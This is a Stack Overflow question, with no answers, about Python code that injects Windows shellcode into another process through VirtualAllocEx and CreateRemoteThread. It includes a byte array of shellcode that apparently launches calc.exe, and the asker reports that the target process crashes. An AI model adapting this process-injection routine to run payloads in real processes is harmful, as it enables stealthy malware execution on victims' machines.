What when i try inject shellcode to process, the process will close?

0

I try injection shellcode to some progress, to open calc.exe.

But event i try to 64bit program or 32bit program, when i work CreateRemoteThread, target program will auto close. I don't know what's wrong.

I work on Win 10 64bit PC.

I can write memory or read memory, but I just can't work Create Remote Thread...

    shell =[0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
                                  0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
                                  0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
                                  0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
                                  0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
                                  0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
                                  0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
                                  0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
                                  0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
                                  0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
                                  0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
                                  0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
                                  0x61,0x6c,0x63,0x00]
    shell = bytes(shell)

    def Remote_Exec(self,shellcode):

        code_size = len(shellcode)
        # Get a handle to the process we are injecting into.
        arg_address = VirtualAllocEx(self.processHandle,0, code_size,  VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)
        #
        # remove_protect_rs = VirtualProtect(self.processHandle, 0, code_size, 0x40, PAGE_EXECUTE_READWRITE)
        # self.Write(arg_address,0x0,shellcode)
        self.Write(self.processHandle, arg_address, shellcode)
        # thread_id = c.c_ulonglong()
        create_rs = CreateRemoteThread(self.processHandle, None, 0, arg_address, None, 0, c_ulong(0))
        if create_rs != 0:
            print("ErrorCode:{}".format(GetLastError()))
        # CloseHandle(self.processHandle)

Process Handler Flag = (0x0008 | 0x0020 | 0Xfff | 0x00000040)

WriteMemory return 1 ErrorCode return 0

python-3.x
code-injection
shellcode
dll-injection
asked on Stack Overflow Sep 21, 2019 by peter lee • edited Sep 22, 2019 by hatef

0 Answers

Nobody has answered this question yet.


User contributions licensed under CC BY-SA 3.0